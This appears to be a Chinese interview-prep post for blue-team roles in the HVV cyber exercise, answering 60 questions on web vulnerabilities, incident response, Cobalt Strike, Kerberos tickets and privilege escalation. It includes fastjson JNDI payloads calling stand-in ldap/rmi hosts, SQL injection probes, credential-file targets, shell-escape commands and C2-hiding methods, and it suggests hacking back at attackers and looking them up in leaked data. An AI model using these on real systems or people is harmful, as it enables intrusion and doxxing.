🍀文章简介:又到了一年一度的HW时刻,本文写给新手想快速进阶HW蓝中的网安爱好者们,
通读熟练掌握本文面试定个蓝中还是没问题的!大家也要灵活随机应变,不要太刻板的回答)
🍁个人主页:杭椒
🫒每日一词:好久没更新了,没更文的日子里,依旧在好好学习哦!
(学习虽好但是不要忘记锻炼身体哦!还有新手版的入门文章(点击蓝色字体即可访问)动动小手点点赞和收藏555~面过的记得来评论报喜!
护网一般分为红蓝两队,做红蓝对抗。
红队为攻击队,红队的构成主要有“国家队”(国家的网安等专门从事网络安全的技术人员)、厂商的渗透技术人员。其中“国家队”的占比大概是60%左右,厂商的技术人员组成的攻击小队占比在40%左右。一般来说一个小队大概是3个人,分别负责信息收集、渗透、打扫战场的工作。
蓝队为防守队,一般是随机抽取一些单位参与。 另外设有裁判组 负责整个演习过程中的评判、评分工作。
网络安全人才,是建设网络强国的最重要资源。网络安全的本质在对抗,对抗的本质在攻防两端能力的较量。其实质是人与人的对抗,“解决网络安全的关键不是硬件,也不是软件,而是人才”。加快培养网络安全人才是解决网络安全问题的关键所在。
加强网络安全防范意识,网络安全关乎企业乃至国家安全,整个社会都该高度重视积极响应,提升安全防范意识,为网络安全基础设施建设贡献出一份力量。
网络安全犹如国家的军队,你可以不用,但是你不能没有!
HVV面试题研判分析
- 1)Web TOP10
- 2)SQL原理
- 3)SQL分类
- 4)SQL防御
- 5)SQL注入函数有哪些
- 6)SQL宽字节注入原理/条件
- 7)SQL注入如何判断数据库类型
- 8)SQL注入不存在回显
- 9)Mysql数据库站点无法链接
- 10)Mysql写shell有几种
- 11)Mysql无法写shell原因
- 12)SSRF原理
- 13)SSRF防御
- 14)SSRF利用
- 15)SSRF挖掘
- 16)CSRF与SSRF区别
- 17)XXE原理(xml外部实体注入)
- 18)XXE防御
- 19)JAVA反序列化
- 20)常见端口
- 21)设备误报如何处理
- 22)如何查看是扫描流量和手动流量
- 23)常用威胁情报平台
- 24)XSS
- 25)CSRF
- 26)XXE
- 27)SSRF
- 28)应急响应
- 29)溯源
- 30)反制
- 31)内网渗透
- 32)挖矿
- 33)内网
- 34)域控定位
- 35)Tomcat
- 36)log4j
- 37)Spring core RCE
- 38)Shiro
- 39)Weblogic
- 40)fastjson
- 41)Struts2
- 42)Webshell
- 43)反弹shell不出网
- 44)CS(Cobalt Strike)流量特征
- 45)CS上线隐藏
- 46)sqlmap流量特征
- 47)socks代理能不能去ping
- 48)0day
- 49)常见的中间件漏洞
- 50)Linux 比较重要的目录
- 51)Windows日志事件ID
- 52)Windows和Linux的日志文件放在哪里
- 53)常见中间件配置文件路径
- 54)获得文件读取漏洞,通常会读哪些文件,Linux和windows都谈谈
- 55)如何分析被代理出来的数据流
- 56)Java框架
- 57)内网票据
- 58)权限维持
- 59)Windows常用的提权方法
- 60)Linux常用的提权方法
1)Web TOP10
1. SQL注入
2. 失效的身份认证
3. 敏感数据泄露
4. XML外部实体(XXE)
5. 失效的访问控制
6. 安全配置错误
7. 跨站脚本(XSS)
8. 不安全的反序列化
9. 使用含有已知漏洞的组件
10. 不足的日志记录和监控
2)SQL原理
对用户输入的数据没有进行严格的过滤与判断,
导致用户构造各种恶意payload拼接进后台数据库查询语句中执行。
3)SQL分类
常见(联合查询,布尔,延时,报错)
其他(宽字节,堆叠,等等)
4)SQL防御
代码层面:
1. 正则过滤
2. Php转义函数
3. 预编译(pdo)
4. 权限分明/权限限制
网络层面:waf设备
5)SQL注入函数有哪些
逻辑运算符and,or,||
联合查询Union select
查询字段 order by
报错注入floor() ,name_const(),exp(),convert(),extractvalue() ,updatexml()
6)SQL宽字节注入原理/条件
目标站点对于特殊字符的转义(单双引号)前面会添加斜杠/,斜杠/ url编码是 %5c,
如果目标站点使用的是gbk编码,则可以构造 payload %df 加 单引号,%df与%5c进行结合成为一个汉字,
而单引号则逃逸了出去
7)SQL注入如何判断数据库类型
1. 页面报错信息
2. 各个数据库特有的数据表
mssql数据库
and (select count(*) from sysobjects)>0 and 1=1
access数据库
and (select count(*) from msysobjects)>0 and 1=1
mysql数据库(mysql版本在5.0以上)
and (select count(*) from information_schema.TABLES)>0 and 1=1
oracle数据库
and (select count(*) from sys.user_tables)>0 and 1=1
3.各数据库特有的连接符判断数据库类型:
mssql数据库
and '1' + '1' = '11'
mysql数据库
and '1' + '1' = '11'
and CONCAT('1','1')='11'
oracle数据库
and CONCAT('1','1')='11'
4.SQLserver数据库
延时注入 page.asp?id=';WAITFOR DELAY '00:00:10'; --
默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
触发错误有可能会报出DBMS类型 page.asp?id=0/@@SERVERNAME
5.MySQL有一个内置的 BENCHMARK() 函数,可以测试某些特定操作的执行速度
8)SQL注入不存在回显
1.关闭了错误回显
2.没有回显位
3.延时 布尔注入
4.dnslog取回显
9)Mysql数据库站点无法链接
1. My.ini配置secure-file-priv为空或/ 则可以导出导入无限制
2. 绝对路径不正确
3. 权限不足/没有读写权限
10)Mysql写shell有几种
1.创建表导出
2.一句话导出
3.日志备份获取shell
11)Mysql无法写shell原因
1. My.ini配置secure-file-priv为空或/ 则可以导出导入无限制
2. 绝对路径不正确
3. 权限不足/没有读写权限
12)SSRF原理
服务器请求伪造,服务端提供了从其他服务器应用获取数据的功能,
且没有对目标地址做过滤与限制,服务器就以服务器自己的身份去访问其他服务器的资源。
13)SSRF防御
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。
那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
14)SSRF利用
1.dict协议,泄露安装软件版本信息,查看端口,操作内网redis服务等
2.file协议,在有回显的情况下,利用 file 协议可以读取任意内容
3.gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议
的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
4.http/s协议,探测内网主机存活
15)SSRF挖掘
1.分享:通过URL地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现以及其他调用URL的功能
7.从URL关键字中寻找,Share、wap、url、link、src、source、target、u、3g、display、sourceURL、
imageURL、domain
16)CSRF与SSRF区别
客户端/服务端的请求伪造
17)XXE原理(xml外部实体注入)
XML外部实体注入,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,产生漏洞。
服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的
处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成任意文件读
取、命令执行、内网端口扫描、攻击内网网站等危害
18)XXE防御
使用开发语言提供的禁用外部实体的方法
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
19)JAVA反序列化
Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;
Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,
让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
20)常见端口
21 ftp,22 ssh,53 DNS,80 http,135/445 samba服务,443 https,1433 sqlserver,
1521 Oracle,3306 mysql,3389 rdp远程,8080 Tomcat,8888宝塔,6379 redis,50050 cs
21)设备误报如何处理
查看日志
如何防止:记录正常业务服务的签名, 防止误报
22)如何查看是扫描流量和手动流量
扫描数据量大,请求有规律,手动扫描间隔较少
23)常用威胁情报平台
Viurstotal virustotal.com
微步威胁情报中心 x.threatbook.cn
360威胁情报中心 ti.360.cn
奇安信威胁情报中心 ti.qianxin.com
绿盟威胁情报中心 nti.nsfocus.com
安恒威胁情报中心 ti.dbappsecurity.com.cn VenusEye
威胁情报中心 venuseye.com.cn
24)XSS
原理:通过添加或修改页面JavaScript的恶意脚本,在浏览器渲染页面的时候执行该脚本,
从而实现窃取cookie或者调用Ajax实现其他类型的CSRF。
25)CSRF
挟持用户在当前已登录的Web应用程序上执行非本意的操作
防范:验证HTTP Referer字段;在请求地址中添加token并验证
26)XXE
应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件(防范:禁止外部实体解析,
通过黑名单过滤用户提交的XML数据)
xxe的检测----插入xml脚本代码
27)SSRF
web应用都提供了从其他的服务器上获取数据的功能。使用指定的URL,web应用便可以获取图片,下载文件,读取文件内容等
采取白名单,限制内网Ip。对返回内容进行识别禁用一些不必要的协议统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态过滤函数,file_get_contents fsockopen() curl_exec()
28)应急响应
查看日志详细信息、判断被攻击类型、找到被攻击点、处置、输出报告
应急思路:首先通过安全设备拦截攻击包体和日志分析,了解攻击者具体进行了什么样的攻击,
通过黑白结合模拟方法进一步判断攻击者的攻击方式。复现之后对漏洞进行修复,对攻击者进行溯源。
windows排查:系统账户、端口进程、启动项、计划任务、查杀、日志分析(4624成功、4625失败)
linux排查:账户、历史命令、端口、启动项、日志(lastlog最近登录、secure验证、btmp失败)
29)溯源
查看日志详细信息,分析攻击IP、查看IP的whois信息、信息收集
溯源思路:首先通过系统日志、安全设备截获攻击包等从中分析出攻击者的ip和攻击方式,通过webshell或者
木马去微步分析,或者去安恒威胁情报中心进行ip检测分析,是不是云服务器,基站等,如果是云服务器的话
可以直接反渗透,看看开放端口,域名,whois等进行判断,获取姓名电话等丢社工库看看能不能找到更多信息
然后收工
跳板机溯源:
windows(security或者rdp日志的ip信息、网络连接、进程、浏览器记录、密码管理器、代理日志)
linux(进程、网络连接、日志、代理日志)
30)反制
wifi反制:近源渗透(蜜罐wifi、弱密码、钓鱼页面、修改host跳转钓鱼页面)
CS4.0-4.4反制、MSF生成shellcode、dnslog/httplog、Goby 反制、蚁剑反制、AWVS、BURP、SQLMAP、
XSS钓鱼、蜜罐
31)内网渗透
提权、代理穿透、信息收集、纵横向、域控
32)挖矿
隔离主机、排查(top资源占用、开机启动、任务计划、端口开放)、清除
33)内网
内网横移:IPC、WMI、SMB、msf密码喷射、PTP(ms14-068)
内网报警:定位报警>打补丁>木马查杀>分析流量>微补查询> whois>社工
34)域控定位
ipconfig /all systeminfo、net config workstation
35)Tomcat
实现内存马:加载注册filter
漏洞:任意文件上传,文件包含,未授权,弱口令,war后门上传
36)log4j
日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。
37)Spring core RCE
利用class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
38)Shiro
关键字rememberMe=deleteMe
利用:出网>反弹、不出网>写shell
原理:用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>
反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>
Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,
最终造成反序列化漏洞
550:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的
cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了
反序列化RCE漏洞。
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中
721:由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过
Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,
最终导致任意代码执行。
相较于550而言,它不需要知道key的值,但是它需要一个合法用户的rememberMe cookie
出网协议:jndi、ldap、rmi、JRMP、JMX、JMS
39)Weblogic
T3原理:利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化
代码,进而造成远程代码执行。
CVE-2014-4210:SSRF、SearchPublicRegistries.jsp页面使用远程服务器
CVE-2017-10271:WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的
XML数据,在解析的过程中出现反序列化漏洞
CVE-2018-2894:未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。
/ws_utc/begin.do,/ws_utc/config.do
CVE-2019-2618:弱口令+文件上传
CVE-2018-2628:利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成
反序列化
CVE-2020-14882:构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在
WebLogic Server Console 执行任意代码。
CVE-2020-14883:未授权访问得到管理员界面
CVE-2020-2551:类似于RMI反序列化漏洞(CVE-2017-3241),都是由于调用远程对象的实现存在缺陷,导致序列化对象任意构造
组合拳:14882+14883组合拳,14882做一个未授权访问,登到控制台,然后通过14883命令执行,写一个xml文件把命令写进去,让它去访问你的vps然后加载xml。
40)fastjson
原理:攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意
函数,进而导致代码执行。
1.2.24:fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证
1.2.47:绕过白名单
1.2.41:增加了checkAutoType()函数,黑白名单访问,在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
1.2.42:类名外部嵌套两层L和;
1.2.45:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
1.2.47:loadClass中默认cache为true,利用分2步,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,绕过了黑名单机制。
1.2.62:{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
1.2.66:{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
41)Struts2
原理:在处理action的时候,调用底层的getter/setter来处理http的参数,将每一个http的参数声明为一个
ONGL,通过构造恶意代码被ONGL处理后,只要有权限就可以执行任何DOS命令
判断:请求以action结尾
029:OGNL表达式来访问ActionContext中的对象数据
032:启用动态方法调用
045:基于Jakarta插件的文件上传功能时,有可能存在远程命令执行
046:设置Content-Disposition的filename字段或者设置Content-Length超过2G
048:漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行
052:使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。
053:Freemarker解析一次之后变成离开一个表达式,被OGNL解析第二次
059:标签属性二次解析
062:针对059绕过加强OGNL表达式沙盒
devMode:devMode模式开启
42)Webshell
流量特征:
蚁剑
可以对流量进行加密、混淆。但是有些关键代码没有被加密
php ini_set、set_time_limit
asp OnError ResumeNext,response
蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符
响应包的结果返回格式为 随机数 结果 随机数
冰蝎
content-type
Accept&Cache-Control
内置16个ua头
content-length请求长度
菜刀
2014 伪造UA头
函数分割 base加密
哥斯拉
php 请求都含有"pass="第一个包
jsp 含有"pass="而且发起连接时服务器返回的Content-Length是0
内存马如何排查:
1、如果是jsp注入,日志中排查可以jsp的访问请求。
2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法。
3、根据业务使用的组件排查可能存在的java代码执行漏洞,spring的controller了类型的话根据上报
webshell的url查找日志,filter或者listener类型,可能会有较多的404但是带有参数的请求。
43)反弹shell不出网
nc反弹、psexec、Neo-reGeorg代理、(ICMP、dns、http协议隧道)
44)CS(Cobalt Strike)流量特征
默认端口 50050
store证书特征 Alias name、Owner、Issuer字段 默认密码123456
0.0.0.0是Cobalt Strike DNS Beacon特征
45)CS上线隐藏
代理转发上线,DNS上线,CDN上线,域前置上线,云函数上线
1、 DNS上线
一般我们拿到的shell都是,对出网有限制的,一般只能DNS出网,这时候就要用到我们 DNS 协议建立 C2 通信。
一般waf不会分析DNS流量,这一点也是能够隐蔽的特性。
DNS_TXT隧道传输:控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里,通过DNS隧道传输隐蔽
性较强不易被发现,但传输速度非常慢。
2、 CDN上线
CDN的IP是多个域名共用的,为了做到精确判断,CDN会解析我们的host头,根据这样的方式进行判断通信域名,
这样我们设置上线IP设置为CDN服务器的IP,host设置为我们的DNS,达到隐藏IP的需求
3、 云函数上线
云函数还是得益于Serverless架构,或者称为无服务器架构,是最近几年新冒出来的一种架构风格,仅需用户
编写和上传核心业务代码,交由平台完成部署、调度、流量分发、弹性伸缩等能力。
我们就可以利用云函数,配置个流量转发,C2Client访问云函数,云函数将流量转发到咱们的C2服务器,
一般云函数服务器都会配置CDN,这样速度还行,还可以达对C2服务器的隐藏。
46)sqlmap流量特征
sqlmap的关键字特征:user-agent、 xss测试语句、随机数的位数
sqlmap的攻击流程具有一定的顺序和规律
sqlmap的一些payload测试语句具有模板特征
47)socks代理能不能去ping
不能,介于传输层和会话层之间,用tcp传输数据,不支持icmp,不能用ping命令
48)0day
确定存在真实攻击行为,在客户允许的情况下,可以采取断网隔离措施,不行就采取白名单连接防火墙策略
看告警、确定资产,poc复现、确认是否攻击成功
49)常见的中间件漏洞
IIS(PUT、短文件名猜解、远程代码执行、解析漏洞)
Apache(解析漏洞、目录遍历)
nginx(文件解析、目录遍历、CRLF注入、目录穿越)
tomcat(远程代码执行、war后门部署)
jboss(反序列化、任意文件上传、war后门)
50)Linux 比较重要的目录
首先是日志,/var/log里面的message保存了比较重要的信息,一般出问题了登上去首先会去看这里。
还有lastb查看登录错误的日志,last查看所有的登录日志,lastlog查看最后一次登录的日志,
还有/var/log/secure记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录,
比如SSH登录,su切换用户,sudo授权。
home目录下面有个.bash_history,如果etc/passwd发现有新增的可疑用户的话会去看一下,他记录了历史命令。
var/spool/cron里面有计划任务,留后门的话有可能会定时反弹shell。
home/用户名/ssh 记录了ssh公钥,查看有没有被留后门。
etc/rc.local开机自启动。
面试官:临时文件在哪个目录?
var/tmp
51)Windows日志事件ID
事件ID 说明
4624 登陆成功
4625 登陆失败
4634 注销成功
4647 用户启动的注销
4672 使用管理员登陆
4720 创建用户
52)Windows和Linux的日志文件放在哪里
Windows
主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
Linux
日志默认存放位置:/var/log/ 查看日志配置情况:more /etc/rsyslog.conf
53)常见中间件配置文件路径
apache:/etc/httpd/conf
nginx:/etc/nginx
iis7:C:\Windows\System32\inetsrv\config\
54)获得文件读取漏洞,通常会读哪些文件,Linux和windows都谈谈
通用
找 Web 应用的配置文件,指不定有外联数据库
找 Web 中间件的配置文件,指不定有 Tomcat 配置界面的用户密码
找系统文件
linux
etc/passwd、etc/shadow直接读密码
/etc/hosts # 主机信息
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
数据库 config 文件
web 日志 access.log, error.log
ssh 日志
bash /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1
/var/lib/php/sess_PHPSESSID # 非常规问题 session 文件( 参考平安科技的一道session包含 http://www.jianshu.com/p/2c24ea34566b)
windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MY D //Mysql root
C:\Windows\php.ini //php 配置信息
55)如何分析被代理出来的数据流
分析数据包请求头中的 xff、referer 等收集有用的信息
运维审计和管理平台(堡垒机)
DAS:数据库安全审计平台
LAS:日志审计安全平台
AC:上网行为管理系统
伪装欺骗系统(蜜罐、蜜网)
SIP:安全态势感知平台
IPS:入侵防御系统
AV:反病毒系统
EDR:主机安全管理\终端检测和响应
IDS:入侵检测
NGAF/NGFW:防火墙
56)Java框架
Apache Shiro、Spring Security、Struts2、Fastjson、jackson、rmi、weblogic、jboss
57)内网票据
黄金票据:是指通过伪造TGT,来进行下一步的Kerberos认证,从而获取到访问服务器的ST。实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket。
原理:AS应答Client时,会返回TGT、使用KDC生成的Client密钥加密KDC生成的Client/TGS SessionKey
制作条件:域名称、域SID、域KRBTGT账户密码HASH、伪装的用户名
防御:限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。
白银票据:是通过伪造ST获得权限,但因为所访问的对象在TGT中通过SID指定了,所以通过白银票据只能访问特定的服务。
原理:在TGS应答Client,会发送ST、使用Client/TGS SessionKey加密的Client/Server SessionKey。只要我们获得了对应Server的Hash,则可以伪造出自己的ST,从而访问特定服务(之所以是特定,是因为pac只能KDC制作和查看,我们无法伪造pac,所以只能访问不验证pac的服务,如cifs)。
制作条件:域名称、SID、目标主机、服务名称、目标主机hash值、任意用户名、ptt内存导入
特点:白银票据不经过域控、只能访问不验证pac的服务
增强版黄金票据:普通黄金票据不能跨域,只能在当前域使用,不能跨域,包括子域对父域的跨域。
制作:通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。
58)权限维持
Linux:crontab定时任务、ssh后门,进程注入,hook密码校验函数得到管理员密码、修改管理员二进制文件
创建链接,使管理员在输入ls或者cd等这种命令的时候执行恶意脚本、pam后门、开机启动脚本
windows:隐藏用户、计划任务、开机自启、服务后门、黄金白银票据、DLL劫持
59)Windows常用的提权方法
土豆全家桶、systeminfo提权辅助页面、注册表提权
系统漏洞提权
sc 命令提权(administrator–>system)
不带引号的服务路径
不安全的服务权限提升
绕过系统 UAC 提升
60)Linux常用的提权方法
脏牛、suid、find命令、rbash,git提权,sudoer提权
1.uid提权 (find / -perm -u=s -type f 2>/dev/null)
2.(sudo git help config !/bin/bash或者!'sh'完成提权)
3、脏牛提权
4、内核提权
5、环境劫持
6、suid提权
7、cve-2021-4034
8、docker提权